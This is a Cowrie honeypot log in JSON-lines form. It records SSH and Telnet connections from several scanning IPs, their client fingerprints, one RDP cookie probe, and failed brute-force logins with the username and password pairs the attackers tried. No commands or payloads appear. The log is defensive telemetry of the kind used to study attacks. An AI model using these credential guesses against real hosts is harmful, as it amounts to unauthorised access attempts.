{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:48.788221Z","src_ip":"45.153.34.97","session":"45eecf7a4bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:48.885999Z","src_ip":"45.153.34.97","session":"45eecf7a4bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nature1","message":"login attempt [root/nature1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:49.727766Z","src_ip":"45.153.34.97","session":"45eecf7a4bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:50.813147Z","src_ip":"45.153.34.97","session":"45eecf7a4bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42082,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d24df0bf363","protocol":"telnet","message":"New connection: 152.42.224.71:42082 (10.17.0.5:23) [session: 4d24df0bf363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.103861Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc88e4c773f0","protocol":"ssh","message":"New connection: 45.153.34.97:55916 (10.17.0.5:22) [session: bc88e4c773f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.297341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.302500Z","src_ip":"45.153.34.97","session":"bc88e4c773f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.392701Z","src_ip":"45.153.34.97","session":"bc88e4c773f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":39842,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a4e22f1373","protocol":"ssh","message":"New connection: 181.47.9.103:39842 (10.17.0.5:22) [session: f4a4e22f1373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.551241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.557814Z","src_ip":"181.47.9.103","session":"f4a4e22f1373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.680858Z","src_ip":"45.153.34.97","session":"bc88e4c773f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:53.702763Z","src_ip":"181.47.9.103","session":"f4a4e22f1373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zywang","message":"login attempt [root/zywang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:54.312276Z","src_ip":"181.47.9.103","session":"f4a4e22f1373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.118670Z","src_ip":"45.153.34.97","session":"bc88e4c773f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91824221611023,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.345938Z","src_ip":"152.42.224.71","session":"2759d4fa9c57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.459337Z","src_ip":"181.47.9.103","session":"f4a4e22f1373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":57686,"dst_ip":"10.17.0.5","dst_port":22,"session":"a41d31a17350","protocol":"ssh","message":"New connection: 159.65.8.74:57686 (10.17.0.5:22) [session: a41d31a17350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.669869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.674747Z","src_ip":"159.65.8.74","session":"a41d31a17350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:55.928226Z","src_ip":"159.65.8.74","session":"a41d31a17350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahti","message":"login attempt [root/ahti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:56.947867Z","src_ip":"159.65.8.74","session":"a41d31a17350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":55920,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a5b422fb14","protocol":"ssh","message":"New connection: 45.153.34.97:55920 (10.17.0.5:22) [session: e8a5b422fb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:57.710240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:57.715647Z","src_ip":"45.153.34.97","session":"e8a5b422fb14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:57.797668Z","src_ip":"45.153.34.97","session":"e8a5b422fb14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"salman","password":"salman","message":"login attempt [salman/salman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:58.079248Z","src_ip":"45.153.34.97","session":"e8a5b422fb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:58.198280Z","src_ip":"159.65.8.74","session":"a41d31a17350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54354,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e01da67855c","protocol":"ssh","message":"New connection: 152.42.212.128:54354 (10.17.0.5:22) [session: 5e01da67855c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.430549Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.439868Z","src_ip":"152.42.212.128","session":"5e01da67855c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.443895Z","src_ip":"152.42.212.128","session":"5e01da67855c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.478417Z","src_ip":"45.153.34.97","session":"e8a5b422fb14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7aa957286e","protocol":"ssh","message":"New connection: 192.169.250.238:44564 (10.17.0.5:22) [session: 0d7aa957286e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.572379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.576882Z","src_ip":"192.169.250.238","session":"0d7aa957286e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.652523Z","src_ip":"192.169.250.238","session":"0d7aa957286e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"derp","message":"login attempt [root/derp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:59.989983Z","src_ip":"192.169.250.238","session":"0d7aa957286e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:01.069628Z","src_ip":"192.169.250.238","session":"0d7aa957286e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46300,"dst_ip":"10.17.0.5","dst_port":22,"session":"58b62b85fd80","protocol":"ssh","message":"New connection: 45.153.34.97:46300 (10.17.0.5:22) [session: 58b62b85fd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:02.502581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:02.509231Z","src_ip":"45.153.34.97","session":"58b62b85fd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:02.600242Z","src_ip":"45.153.34.97","session":"58b62b85fd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny123","message":"login attempt [danny/danny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:02.880755Z","src_ip":"45.153.34.97","session":"58b62b85fd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:03.991561Z","src_ip":"45.153.34.97","session":"58b62b85fd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.7890236377716,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:04.521079Z","src_ip":"152.42.224.71","session":"835e53a72047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b0f4905838","protocol":"ssh","message":"New connection: 109.172.54.111:54912 (159.203.135.109:22) [session: b9b0f4905838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:04.996983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:05.005162Z","src_ip":"109.172.54.111","session":"b9b0f4905838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:05.112021Z","src_ip":"109.172.54.111","session":"b9b0f4905838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpool","message":"login attempt [root/liverpool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:05.480410Z","src_ip":"109.172.54.111","session":"b9b0f4905838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:06.578348Z","src_ip":"109.172.54.111","session":"b9b0f4905838","protocol":"ssh"}
